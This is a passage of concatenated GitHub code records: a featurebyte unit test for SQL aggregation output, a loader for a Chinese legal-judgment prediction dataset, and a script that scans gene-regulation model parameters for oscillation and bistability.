'MIN(\"item_id\")'),\n (\"item_id\", AggFunc.MAX, 'MAX(\"item_id\")'),\n (\"item_id\", AggFunc.AVG, 'AVG(\"item_id\")'),\n (\"item_id\", AggFunc.STD, 'STDDEV(\"item_id\")'),\n (\"item_id\", AggFunc.NA_COUNT, 'SUM(CAST(\"item_id\" IS NULL AS INTEGER))'),\n ],\n)\ndef test_item_groupby_sql_node(\n global_graph, item_table_input_node, parent, agg_func, expected_expr, value_by\n):\n \"\"\"\n Test ItemGroupby sql generation\n \"\"\"\n node_params = {\n \"keys\": [\"order_id\"],\n \"serving_names\": [\"order_id\"],\n \"parent\": parent,\n \"agg_func\": agg_func,\n \"name\": \"feature_name\",\n \"value_by\": value_by,\n }\n groupby_node = global_graph.add_operation(\n node_type=NodeType.ITEM_GROUPBY,\n node_params=node_params,\n node_output_type=NodeOutputType.FRAME,\n input_nodes=[item_table_input_node],\n )\n sql_graph = SQLOperationGraph(\n global_graph, sql_type=SQLType.MATERIALIZE, source_type=SourceType.SNOWFLAKE\n )\n sql_tree = sql_graph.build(groupby_node).sql\n if value_by is None:\n expected = textwrap.dedent(\n f\"\"\"\n SELECT\n \"order_id\" AS \"order_id\",\n {expected_expr} AS \"feature_name\"\n FROM (\n SELECT\n \"order_id\" AS \"order_id\",\n \"item_id\" AS \"item_id\",\n \"item_name\" AS \"item_name\",\n \"item_type\" AS \"item_type\"\n FROM \"db\".\"public\".\"item_table\"\n )\n GROUP BY\n \"order_id\"\n \"\"\"\n ).strip()\n else:\n expected = textwrap.dedent(\n f\"\"\"\n SELECT\n INNER_.\"order_id\",\n OBJECT_AGG(\n CASE\n WHEN INNER_.\"item_type\" IS NULL\n THEN '__MISSING__'\n ELSE CAST(INNER_.\"item_type\" AS TEXT)\n END,\n TO_VARIANT(INNER_.\"feature_name_inner\")\n ) AS \"feature_name\"\n FROM (\n SELECT\n \"order_id\" AS \"order_id\",\n \"item_type\" AS \"item_type\",\n {expected_expr} AS \"feature_name_inner\"\n FROM (\n SELECT\n \"order_id\" AS \"order_id\",\n \"item_id\" AS \"item_id\",\n \"item_name\" AS \"item_name\",\n \"item_type\" AS \"item_type\"\n FROM \"db\".\"public\".\"item_table\"\n )\n GROUP BY\n \"order_id\",\n \"item_type\"\n ) AS INNER_\n GROUP BY\n INNER_.\"order_id\"\n \"\"\"\n ).strip()\n assert sql_tree.sql(pretty=True) == expected\n","repo_name":"featurebyte/featurebyte","sub_path":"tests/unit/query_graph/test_item_groupby.py","file_name":"test_item_groupby.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"78"} +{"seq_id":"43416074875","text":"import json\n\n\ndef init():\n\n f = open('./data/law.txt', 'r', encoding = 'utf8')\n law = {}\n lawname = {}\n line = f.readline()\n while line:\n lawname[len(law)] = line.strip()\n law[line.strip()] = len(law)\n line = f.readline()\n f.close()\n\n\n f = open('./data/accu.txt', 'r', encoding = 'utf8')\n accu = {}\n accuname = {}\n line = f.readline()\n while line:\n accuname[len(accu)] = line.strip()\n accu[line.strip()] = len(accu)\n line = f.readline()\n f.close()\n\n\n return law, accu, lawname, accuname\n\n\nlaw, accu, lawname, accuname = init()\n\n\ndef getClassNum(kind):\n global law\n global accu\n\n if kind == 'law':\n return len(law)\n if kind == 'accu':\n return len(accu)\n if kind == 'time':\n return 9\n\n\ndef getName(index, kind):\n global lawname\n global accuname\n if kind == 'law':\n return lawname[index]\n\n if kind == 'accu':\n return accuname[index]\n\n\ndef gettime(time):\n #将刑期用分类模型来做\n v = int(time['imprisonment'])\n\n if time['death_penalty']:\n return 0\n if time['life_imprisonment']:\n return 1\n elif v > 10 * 12:\n return 2\n elif v > 7 * 12:\n return 3\n elif v > 5 * 12:\n return 4\n elif v > 3 * 12:\n return 5\n elif v > 2 * 12:\n return 6\n elif v > 1 * 12:\n return 7\n else:\n return 8\n\n\ndef getlabel(d, kind):\n global law\n global accu\n\n # 做单标签\n\n if kind == 'law':\n # 返回多个类的第一个\n return law[str(d['meta']['relevant_articles'][0])]\n if kind == 'accu':\n return accu[d['meta']['accusation'][0]]\n\n if kind == 'time':\n return gettime(d['meta']['term_of_imprisonment'])\n\n return label\n\n\ndef read_trainData(path, record_num=None):\n fin = open(path, 'r', encoding='utf8')\n\n alltext = []\n\n accu_label = []\n law_label = []\n time_label = []\n\n line = fin.readline()\n count = 0\n while line:\n if record_num is not None and count > record_num:\n break\n d = json.loads(line)\n alltext.append(d['fact'])\n accu_label.append(getlabel(d, 'accu'))\n law_label.append(getlabel(d, 'law'))\n time_label.append(getlabel(d, 'time'))\n line = fin.readline()\n count += 1\n fin.close()\n\n return alltext, accu_label, law_label, time_label\n\n","repo_name":"sunday-chenlu/cail-2018","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74317374012","text":"#!/usr/bin/env python\n\n\"\"\"scan.py: Scan parameter space for oscillations/bistability (O/B).\n Random scanning for O and B, and systematic scanning for B.\"\"\"\n\n__author__ = \"Lana Descheemaeker\"\n__email__ = \"Lana.Descheemaeker@vub.be\"\n\nfrom SGS import *\nimport multiprocessing\nfrom functools import partial\nimport time\nimport itertools as it\n\noscillator = DDDS\n\nnum_cores = 2\n\n\n# --------------------------------------------------------------------------------------------------------\n# RANDOM SCAN\n# --------------------------------------------------------------------------------------------------------\n\ndef one_random(r, fpar, sgs, system=System.RANDOM, concept=Concept.OSCILLATION):\n \"\"\" Check one random set of parameters on oscillatory behavior/bistability.\n If oscillations/bistability, save set in fpar.\n\n r is random seed \"\"\"\n\n # Generate a system with random parameters.\n found_good_parameters = False\n tries = 0\n while (not found_good_parameters):\n pars = random_params(sgs, physiological_range, system=system, seed=int(time.time() % r * 1.5e9 + r * tries))\n\n s = sgs()\n s.set_parameters(pars);\n\n if system != System.SSLRPB or s.SsLrpB_compatible():\n found_good_parameters = True\n\n tries += 1\n\n # Check if oscillatory/bistable and save if so.\n if concept == Concept.OSCILLATION and s.isoscillatory():\n with open(fpar, \"a\") as file:\n file.write(s.parameter_line(sep=\",\"))\n elif concept == Concept.BISTABILITY:\n ss = np.sort(s.steady_state()['d'])\n\n if (s.is_bistable() and ss[1] - ss[0] > 10 and 500 < ss[2] < 600 and ss[1] < 100):\n with open(fpar, \"a\") as file:\n file.write(s.parameter_line(sep=\",\"))\n\n # Delete the SGS.\n del s\n\n\ndef random_search(fpar, sgs, system=System.RANDOM, concept=Concept.OSCILLATION):\n \"\"\" Check 2e6 random parameter sets for oscillations. \"\"\"\n\n # Write names in parameters file\n l = ''\n for p in sgs.PARAMETERS:\n l += '%s,' % p\n l = l[:-1] + '\\n'\n\n with open(fpar, \"a\") as file:\n file.write(l)\n\n # Set multiprocessing.\n p = multiprocessing.Pool(num_cores)\n\n np.random.seed(int(time.time()))\n onerandom_ = partial(one_random, fpar=fpar, sgs=sgs, system=system, concept=concept)\n for i in range(10):\n # Set random number before start of multiprocessing to avoid that different cores use the same random sets.\n r = [np.random.uniform(0, 1) for _ in range(int(2e5))]\n p.map(onerandom_, r)\n return\n\n# --------------------------------------------------------------------------------------------------------\n# OSCILLATIONS\n# --------------------------------------------------------------------------------------------------------\n\ndef add_oscillation_data(file, oss):\n \"\"\" Add parameters with respect to oscillation (period, minima and maxima of variables) to dataframe.\n\n oss is the type of oscillator (MDS, DDS or DDDS). \"\"\"\n\n # Set variables of which minima and maxima will be determined.\n if oss == MDS:\n vars = ['DNA0', 'DNAm', 'DNAd', 'mRNA', 'm', 'd']\n elif oss == DDS:\n vars = ['DNA0', 'DNA1', 'DNA2', 'DNA12', 'mRNA', 'm', 'd']\n elif oss == DDDS:\n vars = ['DNA0', 'DNA1', 'DNA2', 'DNA3', 'DNA12', 'DNA13', 'DNA23', 'DNA123', 'mRNA', 'm', 'd']\n\n # Read data.\n df = pd.read_csv(file)\n\n # Add oscillation parameters in columns to dataframe.\n df['period'] = np.nan\n for var in oss.ALL_VARS:\n df['%s_min' % var] = np.nan;\n df['%s_max' % var] = np.nan\n\n os = oss()\n for index, row in df.iterrows():\n params = row.to_dict() # readparams(i, data, oss)\n os.set_parameters(params)\n oscillation_parameters = os.oscillation_parameters(oss.ALL_VARS)\n\n # Add period, minima and maxima to dataframe.\n df.loc[index, 'period'] = oscillation_parameters[0]\n for i, var in enumerate(oss.ALL_VARS):\n df.loc[index, '%s_min' % var] = oscillation_parameters[1 + 2 * i]\n df.loc[index, '%s_max' % var] = oscillation_parameters[2 + 2 * i]\n\n # Save dataframe.\n df.to_csv(\"oscillation/MDS/test.csv\")\n\n\ndef meets_selection_criteria(mRNAmax, mmax, dmax, mRNAamp, mamp, damp):\n \"\"\" Return whether the variable meet the selection criteria. \"\"\"\n\n if mRNAmax < 20 and mmax < 5000 and dmax < 5000 and mRNAamp > 1.0 and mamp > 1.0 and damp > 10.0 and mRNAamp / mRNAmax > 0.33 and mamp / mmax > 0.33 and damp / dmax > 0.33: # and dmax > 2*mmax:\n return True\n return False\n\n\ndef add_selection_monotonicity_data(file, oss):\n \"\"\" Add monotonicity type and whether solution passes selection criteria to dataframe of file.\n\n oss is the type of oscillator (MDS, DDS or DDDS). \"\"\"\n\n # Read data.\n df = pd.read_csv(file, index_col=0)\n\n os = oss()\n\n # Add oscillation parameters in columns to dataframe.\n df['selected'] = np.nan\n df['monotonicity_type'] = np.nan\n\n for index, row in df.iterrows():\n params = row.to_dict()\n os.set_parameters(params)\n\n # Add period, minima and maxima to dataframe.\n df.loc[index, 'monotonicity_type'] = os.monotonicity_type()\n df.loc[index, 'selected'] = meets_selection_criteria(row['mRNA_max'], row['m_max'], row['d_max'],\n (row['mRNA_max'] - row['mRNA_min']), (row['m_max'] - row['m_min']), (row['d_max'] - row['d_min']))\n\n # Save file.\n df.to_csv(file)\n\n# --------------------------------------------------------------------------------------------------------\n# BISTABILITY SYSTEMATIC SCAN\n# --------------------------------------------------------------------------------------------------------\n\ndef check_SsLrpB_compatibility():\n data = pd.read_csv(\"bistability/SsLrpB/variables.csv\", index_col=0)\n\n list_indices = data.index.tolist()\n\n sgs = DDDS()\n\n print(\"Solution is SsLprB compatible (True) : mixed feedback\")\n\n for i in list_indices:\n params = data.loc[i].to_dict()\n\n sgs.set_parameters(params)\n\n print(i, sgs.SsLrpB_compatible())\n\ndef induction_time(sgs, p, Q):\n ''' Return induction time from the intermediate steady state to high steady state of the bistable switch.'''\n\n sg = sgs()\n\n # determine parameters from A-F parameters\n if sgs == DDS:\n a, b, c, d = p\n\n f12 = a / c\n\n Kd1 = np.random.uniform(0, 1)\n Kd2 = np.random.uniform(0, 1)\n s = Kd1 + Kd2\n Kd1 *= d / s\n Kd2 *= d / s\n omega = c / (Kd1 * Kd2)\n bcoop = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega)), min(2, 2 + np.log10(omega)))\n ucoop = bcoop / omega\n f1 = 10 ** np.random.uniform(max(-3, np.log10((b - Kd2 * 1e2) / Kd1)), min(2, np.log10((b - Kd2 * 1e-3) / Kd1)))\n f2 = (b - f1 * Kd1) / Kd2\n beta = 0.1 * 0.01 * np.sqrt((2 + 0.001) / 0.01) / (\n Q * 1) # gammam*gammamRNA*sqrt((alphadiss+gammad)/alphaass)/(Q*phi0)\n\n params = {'beta': beta, 'gammam': 0.1, 'gammamRNA': 0.01, 'gammad': 0.001, 'alphaass': 0.01, 'alphadiss': 2,\n 'taum': 0, 'taumRNA': 0, 'DNAtot': 1, 'phi0': 1, 'f1': f1, 'f2': f2, 'f12': f12, 'kb1': 1, 'Kd1': Kd1,\n 'kb2': 1, 'Kd2': Kd2, 'bcoop': bcoop, 'ucoop': ucoop, 'vol': 1}\n\n sg.set_parameters(params)\n\n elif sgs == MDS:\n Km, Kd, fm, fd = p\n\n gammam = 0.1\n gammamRNA = 0.01\n phi0 = 1\n beta = gammam * gammamRNA / (Q * phi0)\n alphaass = 0.01\n alphadiss = 2\n gammad = 0.001\n params = {'beta': beta, 'gammam': 0.1, 'gammamRNA': 0.01, 'gammad': gammad, 'alphaass': alphaass,\n 'alphadiss': alphadiss, 'taum': 0, 'taumRNA': 0, 'DNAtot': 1, 'phi0': 1, 'fm': fm, 'fd': fd,\n 'kbm': 1, 'Km': Km, 'kbd': 1, 'Kd': Kd * (alphadiss + gammad) / alphaass, 'vol': 1}\n\n elif sgs == DDDS:\n a, b, c, d, e, f = p\n\n f123 = a / d\n\n x = np.linspace(0, f, 10000)\n\n found = False\n if f < 3.5e-4 or (1e-8 + 2e-4 * (f - 2e-4)) * 1e-4 > 0.9 * e:\n Kd1 = 1e-4\n Kd2 = 1e-4\n Kd3 = f - Kd1 - Kd2\n found = True\n elif f > 2.5e4:\n Kd1 = 1e4\n Kd2 = 1e4\n Kd3 = f - Kd1 - Kd2\n found = True\n elif f ** 2 / 3 * 1e3 < 1.1 * e:\n Kd1 = f / 3\n Kd2 = f / 3\n Kd3 = f - Kd1 - Kd2\n found = True\n while not found:\n #fKd3 = lambda x: -x ** 3 + f * x ** 2 - e / 1e3 * x + d / 1e10\n #zeroes = np.where(np.diff(np.sign(fKd3(x))))[0]\n #Kd3 = brentq(fKd3, 0, x[zeroes[0] + 1], xtol=1e-10, rtol=1e-5, maxiter=200)\n\n lb = max(1e-4, (f - 2 * np.sqrt(f ** 2 - 3 * e / 1e3)) / 3)\n rb = np.nanmin([f, (f - np.sqrt(f ** 2 - 4 * e / 1e3)) / 2])\n Kd1 = 10 ** np.random.uniform(np.log10(lb), np.log10(rb))\n Kd2 = (-(Kd1 - f) + np.sqrt((Kd1 - f) ** 2 - 4 * (1e-3 * e + Kd1 * (Kd1 - f)))) / 2\n Kd3 = (-(Kd1 - f) - np.sqrt((Kd1 - f) ** 2 - 4 * (1e-3 * e + Kd1 * (Kd1 - f)))) / 2\n if 1.1e4 >= Kd2 >= 0.9e-4 and 1.1e4 >= Kd3 >= 0.9e-4:\n found = True\n else:\n Kd1 = (f - np.sqrt(f ** 2 - 3 * e * 1e-3)) / 3\n Kd2 = Kd1\n Kd3 = f - Kd1 - Kd2\n found = True\n\n found = False\n mine = -3;\n maxe = 2\n while not found:\n f1 = 10 ** np.random.uniform(mine, maxe)\n f2 = 10 ** np.random.uniform(mine, maxe)\n f3 = 10 ** np.random.uniform(mine, maxe)\n C = f1 * Kd1 + f2 * Kd2 + f3 * Kd3\n f1 *= c / C;\n f2 *= c / C;\n f3 *= c / C\n if min([f1, f2, f3]) > 0.0009 and max([f1, f2, f3]) < 101:\n found = True\n else:\n mine += 0.5;\n maxe -= 0.5\n if mine > maxe:\n mine = 0;\n maxe = 0\n found = True\n\n found = False\n mine = np.log10(0.05)\n maxe = np.log10(20)\n while not found:\n omega12 = 10 ** np.random.uniform(mine, maxe)\n omega13 = 10 ** np.random.uniform(mine, maxe)\n omega23 = 10 ** np.random.uniform(mine, maxe)\n E = omega12 * Kd1 * Kd2 + omega23 * Kd2 * Kd3 + omega13 * Kd1 * Kd3\n omega12 *= e / E\n omega23 *= e / E\n omega13 *= e / E\n if min([omega12, omega23, omega13]) > 0.049 and max([omega12, omega23, omega13]) < 20.1:\n found = True\n else:\n mine += 0.1\n maxe -= 0.1\n if mine > maxe:\n mine = 0;\n maxe = 0\n found = True\n\n found = False\n mine = -3\n maxe = 2\n while not found:\n f12 = 10 ** np.random.uniform(mine, maxe)\n f23 = 10 ** np.random.uniform(mine, maxe)\n f13 = 10 ** np.random.uniform(mine, maxe)\n B = f12 * omega12 * Kd1 * Kd2 + f23 * omega23 * Kd2 * Kd3 + f13 * omega13 * Kd1 * Kd3\n f12 *= b / B\n f23 *= b / B\n f13 *= b / B\n if min([f1, f2, f3]) > 0.0009 and max([f1, f2, f3]) < 101:\n found = True\n else:\n mine += 0.5\n maxe -= 0.5\n if mine > maxe:\n mine = 0\n maxe = 0\n found = True\n\n omega123 = d / (Kd1 * Kd2 * Kd3 * omega12 * omega23 * omega13)\n if omega123 > 20 or omega123 > 0.05:\n print('PROBLEM', omega123)\n\n bcoop12 = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega12)), min(2, 2 + np.log10(omega12)))\n ucoop12 = bcoop12 / omega12\n\n bcoop23 = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega23)), min(2, 2 + np.log10(omega23)))\n ucoop23 = bcoop23 / omega23\n\n bcoop13 = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega13)), min(2, 2 + np.log10(omega13)))\n ucoop13 = bcoop13 / omega13\n\n bcoop123 = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega123)), min(2, 2 + np.log10(omega123)))\n ucoop123 = bcoop123 / omega123\n\n beta = 0.1 * 0.01 * np.sqrt((1 + 0.001) / 0.01) / (Q * 1)\n # gammam*gammamRNA*sqrt((alphadiss+gammad)/alphaass)/(Q*phi0)\n\n params = {'beta': beta, 'gammam': 0.1, 'gammamRNA': 0.01, 'gammad': 0.001, 'alphaass': 0.01, 'alphadiss': 1,\n 'taum': 0, 'taumRNA': 0, 'DNAtot': 1, 'phi0': 1, 'f1': f1, 'f2': f2, 'f3': f3, 'f12': f12,\n 'f23': f23, 'f13': f13, 'f123': f123, 'kb1': 1, 'Kd1': Kd1, 'kb2': 1, 'Kd2': Kd2, 'kb3': 1,\n 'Kd3': Kd3, 'bcoop12': bcoop12, 'ucoop12': ucoop12, 'bcoop13': bcoop13, 'ucoop13': ucoop13,\n 'bcoop23': bcoop23, 'ucoop23': ucoop23, 'bcoop123': bcoop123, 'ucoop123': ucoop123, 'vol': 1}\n\n sg.set_parameters(params)\n\n return sg.deterministic_induction_time()\n\ndef monotonicity_type(sgs, p):\n ''' Return monotonicity type for A-F parameters.'''\n\n xx = np.linspace(0, 1000, 1000)\n\n # reconstruct response curve\n if sgs == DDS:\n a, b, c, d = p\n\n y = (a * xx + b * np.sqrt(xx) + 1) / (c * xx + d * np.sqrt(xx) + 1)\n elif sgs == MDS:\n Km, Kd, fm, fd = p\n\n y = (fd * Kd * xx ** 2 + fm * Km * xx + 1) / (Kd * xx ** 2 + Km * xx + 1)\n elif sgs == DDDS:\n a, b, c, d, e, f = p\n\n y = (a * xx ** 3 + b * xx ** 2 + c * xx + 1) / (d * xx ** 3 + e * xx ** 2 + f * xx + 1)\n\n # derivative of response curve\n dy = y[1:] - y[:-1]\n\n # check for local extrema (derivative changes sign)\n zero_crossings = np.where(np.diff(np.sign(dy)))[0]\n\n # determine non-monotonicity type\n if len(zero_crossings) == 1: # and zero_crossings[0] != 0):\n if dy[zero_crossings[0]] > 0: #dy[0] > 0 and dy[-1] < 0:\n nonmono = 1\n elif dy[zero_crossings[0]] < 0: #dy[0] < 0 and dy[-1] > 0:\n nonmono = 2\n elif len(zero_crossings) > 1:\n nonmono = 3\n else:\n if y[0] y[-1]:\n nonmono = 4\n if False: # check validity of function\n fig = plt.figure('%d'%nonmono)\n ax = fig.add_subplot(211)\n ax.plot(xx, y)\n ax = fig.add_subplot(212)\n ax.plot(xx[:-1], dy)\n plt.show()\n\n return nonmono\n\ndef check_bistability(p=[], file=0, Hs=[], sgs=MDS):\n ''' Check if response function dictated by parameters p can lead to bistability\n with high steady state in interval Hs, save in file if it is the case '''\n\n # protein concentration (monomer for MDS, dimer for 2DS and 3DS)\n x = np.linspace(0, 1000, 10000)\n\n if sgs == MDS:\n Km, Kd, fm, fd = p\n dx = np.append(x[1:] - x[:-1], 0)\n\n def response(x):\n return (fd * Kd * x ** 2 + fm * Km * x + 1) / (Kd * x ** 2 + Km * x + 1)\n\n def derivative_response(x):\n return (2 * x * (fd * Kd - Kd) + Km * (fd * Kd * x ** 2 - 1) - fm * Km * Kd * x ** 2 + fm * Km) / (\n Kd * x ** 2 + Km * x + 1) ** 2\n\n def dxdt(x, q):\n return response(x) - q * x\n\n Q = np.linspace(response(Hs[0]) / Hs[0], response(Hs[1]) / Hs[1], 50);\n elif sgs == DDS:\n a, b, c, d = p\n dx = x * np.append(x[1:] - x[:-1], 0) # monomer dx\n\n def response(x):\n return (a * x ** 2 + b * x + 1) / (c * x ** 2 + d * x + 1)\n\n def derivative_response(x):\n return (2 * x * (a - c) + d * (a * x ** 2 - 1) - b * c * x ** 2 + b) / (Kd * x ** 2 + Km * x + 1) ** 2\n\n def dxdt(x, q):\n return response(x) - q * np.sqrt(x)\n\n Q = np.linspace(response(Hs[0]) / np.sqrt(Hs[0]), response(Hs[1]) / np.sqrt(Hs[1]), 50)\n elif sgs == DDDS:\n a, b, c, d, e, f = p\n\n x = np.linspace(0, 1000, 10000) # dimer spacing\n dx = x * np.append(x[1:] - x[:-1], 0) # monomer dx\n\n def response(x):\n return (a * x ** 3 + b * x ** 2 + c * x + 1) / (d * x ** 3 + e * x ** 2 + f * x + 1)\n\n def derivative_response(x):\n return ((3 * a * x ** 2 + 2 * b * x + c) * (d * x ** 3 + e * x ** 2 + f * x + 1) - (\n 3 * d * x ** 2 + 2 * e * x + f) * (a * x ** 3 + b * x ** 2 + c * x + 1)) / (\n d * x ** 3 + e * x ** 2 + f * x + 1) ** 2\n\n def dxdt(x, q):\n return response(x) - q * np.sqrt(x)\n\n\n Q = np.linspace(response(Hs[0]) / np.sqrt(Hs[0]), response(Hs[1]) / np.sqrt(Hs[1]), 50)\n s = [np.nan] * 100\n\n for m, q in enumerate(Q):\n y = dxdt(x, q)\n zero_crossings = np.where(np.diff(np.sign(y)))[0]\n Nss = len(zero_crossings)\n if (Nss > 2):\n L = x[zero_crossings[0]]\n I = x[zero_crossings[1]]\n if (I < 100 and I - L > 10):\n s[m] = sum((dx / y)[np.logical_and(y > 0, x > I)])\n\n if (not np.all(np.isnan(s))):\n # Find value with optimal score\n Q = Q[np.nanargmin(s)]\n\n # Determine monotonicity type\n nonmono = monotonicity_type(sgs, p)\n\n # Determine steady states and score\n zero_crossings = np.where(np.diff(np.sign(dxdt(x, Q))))[0]\n L = x[zero_crossings[0]]\n I = x[zero_crossings[1]]\n H = x[zero_crossings[2]]\n R = sum((dx / y)[np.logical_and(y > 0, x > I)])\n\n # Calculate induction time\n T = induction_time(sgs, p, Q)\n\n # Save values\n if file != 0:\n s = \"\"\n for x in [R, H, I, L, Q]:\n s += \"%.5E,\" % x\n for x in p:\n s += \"%.5E,\" % x\n s += \"%d,\" % nonmono\n s += \"%.5E\\n\" % T\n with open(file, 'a') as f:\n f.write(s)\n return [R, H, I, L, Q, nonmono, T]\n else:\n return []\n\ndef bistability_scan(sgs, Hs):\n if sgs == DDS:\n file = 'results/2DSH%d-%d-newdef.txt' % (Hs[0], Hs[1])\n\n NN = 20\n\n Ds = np.logspace(np.log10(2e-4), np.log10(2e4), NN) # Kd1 + Kd2\n\n with open(file, 'a') as f:\n f.write('R,H,I,L,Q,A,B,C,D,nonmono,T\\n')\n\n for i, d in enumerate(Ds):\n Bs = np.logspace(-3, 2, NN) * d\n for j, b in enumerate(Bs):\n print(i, j)\n Cs = np.logspace(-4 + np.log10(d - 1e-4) - 4, 2 * np.log10(d / 2) + 4, NN)\n for c in Cs:\n As = np.logspace(-3 + np.log10(c), 2 + np.log10(c), NN)\n for a in As:\n check_bistability([a, b, c, d], file, Hs, DDS)\n\n elif sgs == MDS:\n file = 'results/MDSH%d-%d.txt' % (Hs[0], Hs[1])\n NN = 30\n Kms = np.logspace(-7, 3, NN); # -7 -> 3\n Kds = np.logspace(-10, -3, NN); # -10 -> 3 Kd*alphaass/(alphadiss + gammad)\n fms = np.logspace(-3, 2, NN); # -3 -> 2\n fds = np.logspace(-3, 2, NN) # -3 -> 2\n\n fs = tuple(it.product(fms, fds))\n\n p = multiprocessing.Pool(num_cores)\n\n check_bistability_MDS = partial(check_bistability, file=file, Hs=Hs, sgs=MDS)\n\n with open(file, 'a') as f:\n f.write('R,H,I,L,Q,Km,Kd,fm,fd,nonmono,T\\n')\n for Km in Kms:\n for Kd in Kds:\n set = [[Kd, Km, f[0], f[1]] for f in fs]\n p.map(check_bistability_MDS, set)\n\n elif sgs == DDDS:\n file = 'bistability/3DS/test.csv' # H%d-%d.csv' % (Hs[0], Hs[1])\n\n NN = 8\n\n with open(file, 'a') as f:\n f.write('R,H,I,L,Q,A,B,C,D,E,F,nonmono,T\\n')\n\n p = multiprocessing.Pool(num_cores)\n\n # Loop over all values of parameters A-E and look for bistable solutions\n for f in np.logspace(np.log10(3e-4), np.log10(3e4), NN):\n # To find extreme values of the parameter, load hull information\n data = np.loadtxt('results/hull/%.3E.txt' % f)\n if (f - 2e-4 <= 1e4):\n minx = 1e-8 + 2 * 1e-4 * (f - 2e-4)\n elif (f - 1e-4 - 1e4 <= 1e4):\n minx = (1e-4 * (f - 1e4 - 1e-4) + 1e4 * (f - 1e4 - 1e-4) + 1)\n else:\n minx = ((f - 2e4) ** 2 + 1e4 * (f - 2e4) + 1e8)\n for e in np.logspace(np.log10(0.05 / 20) + np.log10(minx), np.log10(f ** 2 / 3) + np.log10(20 / 0.05), NN):\n minD = 0;\n maxD = 0;\n for i in range(len(data)):\n if (0.9 * e < data[i, 0] < 1.1 * e):\n _, minD, minKd1, minKd2, minKd3, minomega12, minomega23, minomega13, maxD, maxKd1, maxKd2, maxKd3, maxomega12, maxomega23, maxomega13 = \\\n data[i]\n for d in np.logspace(np.log10(minD), np.log10(maxD), NN):\n As = np.logspace(-3 + np.log10(d), 2 + np.log10(d), NN)\n Bs = np.logspace(-3 + np.log10(e), 2 + np.log10(e), NN)\n Cs = np.logspace(-3 + np.log10(f), 2 + np.log10(f), NN)\n\n check_bistability_ = partial(check_bistability, file=file, Hs=Hs, sgs=DDDS)\n values = tuple([[a, b, c, d, e, f] for a in As for b in Bs for c in Cs])\n p.map(check_bistability_, values)\n\ndef check_bistability_SsLrpB(f13=0, f123=0):\n ''' Save the score, high steady state, degradation rate, C, B and induction time of SsLrpB systems\n with optimized induction time'''\n print(f13, f123)\n\n # Make 3DS\n ddds = DDDS()\n\n # Set fixed parameters for SsLrpB compatible system\n ct = 1e-3 / 2.4\n\n Kd1 = 73.5 * ct\n Kd2 = 0.7 * ct\n Kd3 = 49.1 * ct\n omega12 = 4.1\n omega13 = 7.9\n omega23 = 2.1\n omega123 = 3.1\n\n # Calculate parameters D, E and F\n d = omega12 * omega23 * omega13 * omega123 * Kd1 * Kd2 * Kd3\n e = omega12 * Kd1 * Kd2 + omega23 * Kd2 * Kd3 + omega13 * Kd1 * Kd3\n f = Kd1 + Kd2 + Kd3\n\n # Set ranges for A, B and C parameters\n Cs = np.logspace(-3 + np.log10(Kd1 + Kd2 + Kd3), 2 + np.log10(Kd1 + Kd2 + Kd3), 50) # 50);\n a = 10 ** f123 * omega12 * omega23 * omega13 * omega123 * Kd1 * Kd2 * Kd3;\n Bs = 10 ** f13 * omega13 * Kd1 * Kd3 + 10 ** np.linspace(-3, 2, 20) * (omega12 * Kd1 * Kd2 + omega23 * Kd2 * Kd3);\n\n # Generate name to save file (f123, f13 * 10)\n sf123 = int(round(f123 * 10));\n if (sf123 < 0):\n sf123 = 'm%d' % -sf123\n else:\n sf123 = '%d' % sf123\n sf13 = int(round(f13 * 10));\n if (sf13 < 0):\n sf13 = 'm%d' % -sf13\n else:\n sf13 = '%d' % sf13\n\n # Allocate memory to store score (R), induction time (T), high steady state (H) and 'degragadation rate' (Q)\n R = np.empty([len(Cs), len(Bs)]);\n R[:] = np.nan;\n T = np.empty([len(Cs), len(Bs)]);\n T[:] = np.nan;\n H = np.empty([len(Cs), len(Bs)]);\n H[:] = np.nan;\n Q = np.empty([len(Cs), len(Bs)]);\n Q[:] = np.nan;\n\n # Number of Qs to check for bistability\n N = 100\n\n # Loop through all B and C values\n Bs, Cs = np.meshgrid(Bs, Cs)\n for i in range(len(Bs)):\n for j in range(len(Bs[0])):\n c = Cs[i, j];\n b = Bs[i, j];\n\n x = np.linspace(0, 1000, 10000);\n dx = x * np.append(x[1:] - x[:-1], 0) # monomer dx\n\n fy = lambda t: (a * t ** 3 + b * t ** 2 + c * t + 1) / (d * t ** 3 + e * t ** 2 + f * t + 1);\n\n # Set Q values\n sqrtc = np.linspace(fy(200) / np.sqrt(200), fy(1000) / np.sqrt(1000), N);\n\n # Allocate space\n crosl = [0 for _ in range(N)];\n crosm = [0 for _ in range(N)];\n crosr = [0 for _ in range(N)];\n s = [0 for _ in range(N)];\n\n for l in range(len(sqrtc)):\n # Calculate response function given q\n y = fy(x) - sqrtc[l] * np.sqrt(x);\n\n # Check if response is bistable (more than 2 zeros)\n zero_crossings = np.where(np.diff(np.sign(y)))[0]\n Nss = len(zero_crossings)\n if (Nss > 2):\n crosl[l] = zero_crossings[0]\n crosm[l] = zero_crossings[1]\n crosr[l] = zero_crossings[2]\n # If low and intermediate steady state are far enough apart and intermediate state is not too high\n # (I - L > 10 and I < 100), calculate the score (integral of dx/dt between I and H)\n if ((x[crosm[l]] - x[crosl[l]]) > 10 and x[crosm[l]] < 100):\n s[l] = sum((dx / y)[np.logical_and(y > 0, x > x[crosm[l]])])\n\n # If any good bistable system was found (any score was given)\n if (max(s) > 0):\n # Determine best solution\n idxmax = s.index(max(s))\n\n # Set new Q ranges around best solution\n sqrtc2 = np.linspace(sqrtc[max(0, idxmax - 1)], sqrtc[min(idxmax + 2, N)], N);\n\n x2 = np.linspace(0, x[min(3 * crosr[idxmax], len(x) - 1)], 10000)\n dx2 = x2 * np.append(x2[1:] - x2[:-1], 0) # monomer dx\n\n # Calculate new scores to find best one\n s = [0 for _ in range(N)]\n for l in range(N):\n y = fy(x2) - sqrtc2[l] * np.sqrt(x2);\n zero_crossings = np.where(np.diff(np.sign(y)))[0]\n Nss = len(zero_crossings)\n if (Nss > 2):\n crosl[l] = zero_crossings[0]\n crosm[l] = 